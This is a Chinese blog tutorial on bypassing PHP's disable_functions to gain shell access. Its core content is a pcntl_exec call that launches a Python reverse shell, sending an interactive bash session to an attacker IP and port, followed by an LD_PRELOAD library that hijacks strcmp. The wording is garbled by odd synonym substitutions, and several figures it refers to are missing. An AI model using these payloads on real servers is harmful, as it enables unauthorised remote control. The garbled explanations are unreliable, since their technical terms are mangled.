首页 » PHP教程 » php制止转换技巧_提权之disable_function篇

php制止转换技巧_提权之disable_function篇

访客 2024-11-28 0

扫一扫用手机浏览

文章目录 [+]

现在在函数内部加一个globle,这样函数内部的test函数就变成超全局变量了。

在函数内部定义全局变量:

php制止转换技巧_提权之disable_function篇

通过globle 函数,可以让我们在外部访问到函数内部定义的变量的值。

php制止转换技巧_提权之disable_function篇
(图片来自网络侵删)

demo2:

3.php代码如图所示:

2.php代码如图所示:

这里解释一下浸染域的问题:可以看到我们导入了3.php中的Test()函数,但是要把稳一点,3.php中的变量a,被限定在Test_Global()函数内了,这个输出0。

disable_function

disable_function是php.ini中的一个设置选项,可以用来设置PHP环境禁止利用某些函数。

disable_functions=exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,chroot,getcwd,scandir,unlink,delete,rmdir,rename,chgrp,chmod,chown,fopen,copy,mkdir

首先我们先来先容这几个函数:

exec ( string $command [, array &$output [, int &$return_var ]] );$command 这个参数表示要实行的命令;$output:命令实行输出添补这个数组。

如图:这是直接echo ,看到并没有输出,那么我们用print_r将其进行打印:

至于system和passthru等函数不再详细解释,大家可以自行测试。

1) 利用pcntl_exec

demo:

<?php pcntl_exec(“/bin/bash”, array(“/tmp/1.sh”));?>

然后切换到/tmp/1.sh,写入 ls -l即可实行。

反弹shell:

这个函数在实行发生缺点时返回false,实行成功则没有返回。
以是这个函数我们一样平常合营python进行反弹shell。

php适用版本:PHP 4 >= 4.2.0, PHP 5

<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

剖析:

socket套接字,最开始是为了同一主机间的不同程序进行通信,随着网络的发展,socket不断更新,现在已经能够让不同主机进行通信了。
AF_INET、AF_INET6是基于网络的套接字。
SOCK_STREAM是面向连接的套接字。
socket(socket.AF_INET,socket.SOCK_STRE)s.commect(("192.168.75.128",9988)) 创建一个基于网络并且利用tcp协议的套接字,用于通信。
学过pwn的都知道,利用IP+协议+端口号唯一标识网络中的一个进程,一次来进行不同主机之间的通信。
subprocess.call浸染:实行由参数供应的命令,返回命令的状态,这个模块许可天生新的进程,连接到输入/输出管道。
subprocess.call(["/bin/bash","-i"])天生一个新进程,并连接到交互式shell(/bin/bash)fileObject.fileno();布局linux下的标准输入输出linux shell下常用的文件描述符是:1. 标准输入 (stdin) :代码为 0 ,利用 < 或 <<2. 标准输出 (stdout):代码为 1 ,利用 > 或 >>3. 标准缺点输出(stderr):代码为 2 ,利用 2> 或 2>>

这些轮子记住就好,一样平常pcntl_exec函数利用这两种利用办法。

2) 利用 LD_PRELOAD 环境变量

事理:先来说一下这个环境变量吧,功能是许可定义在程序运行前优先加载的动态链接库。
这个功能便是用来有选择性的载入不同链接库中的相同函数。
通过这个环境变量我们就可以在主程序和其动态链接库的中间加载别的动态链接库,我们可以利用这个特性,来进行挟制函数,以此来利用我们自己布局好的函数。

linux下c文件转换成.so文件:

gcc -c -fPIC -o a.o a.c

gcc -shared -o mylib.so mylib.o

-c表示编译 -fPIC表示,共享库的动态连接

-o表示输出的文件名,-shared表示天生一个共享库

demo1:

a.c

#include <stdio.h>#include <string.h>int main(int argc, char argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return 0;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return 0;}printf("Invalid Password!/n");}

首先我们gcc把a.c编译成linux下的可实行文件a

不丢脸出,strcmp函数比较两者的值,如果即是password那么就会输出correct!

根据上面的事理我们想能不能不管输入什么字符都能够输出correct呢。

下面我们布局一个b.c文件:

#include <stdio.h>#include <string.h>int strcmp(const char s1, const char s2){printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2);return 0;}

编译d.c为一个动态链接库,并且利用LD_PRELOAD全局变量使得先加载d.so这个动态链接库,这样我们就能实现之前想要达到的目的了。

demo2:

这个就捎带着一点二进制的东西了。

这个C措辞已经写去世了,但是我们可不可以用一些布局来让他输出ok呢?

首先我们利用gdb调试一下:

我们的想法是挟制printf函数,让其栈内的地址增加59那么就会让其输出ok。

结尾

disable_function绕过方法还有许多,属于进阶的第一步了,好多东西还须要用到.so文件来进行挟制,有很多技巧值得好好剖析。

标签:

相关文章

执业药师试卷代码解码药师职业发展之路

执业药师在药品质量管理、用药安全等方面发挥着越来越重要的作用。而执业药师考试,作为进入药师行业的重要门槛,其试卷代码更是成为了药师...

PHP教程 2025-02-18 阅读1 评论0

心灵代码主题曲唤醒灵魂深处的共鸣

音乐,作为一种独特的艺术形式,自古以来就承载着人类情感的表达与传递。心灵代码主题曲,以其独特的旋律和歌词,唤醒了无数人的灵魂深处,...

PHP教程 2025-02-18 阅读1 评论0

探寻福建各市车牌代码背后的文化内涵

福建省,地处我国东南沿海,拥有悠久的历史和丰富的文化底蕴。在这片充满魅力的土地上,诞生了许多具有代表性的城市,每个城市都有自己独特...

PHP教程 2025-02-18 阅读1 评论0

探寻河北唐山历史与现代交融的城市之光

河北省唐山市,一座地处渤海之滨,拥有悠久历史和独特文化的城市。这里既是古丝绸之路的起点,也是中国近代工业的发源地。如今,唐山正以崭...

PHP教程 2025-02-18 阅读1 评论0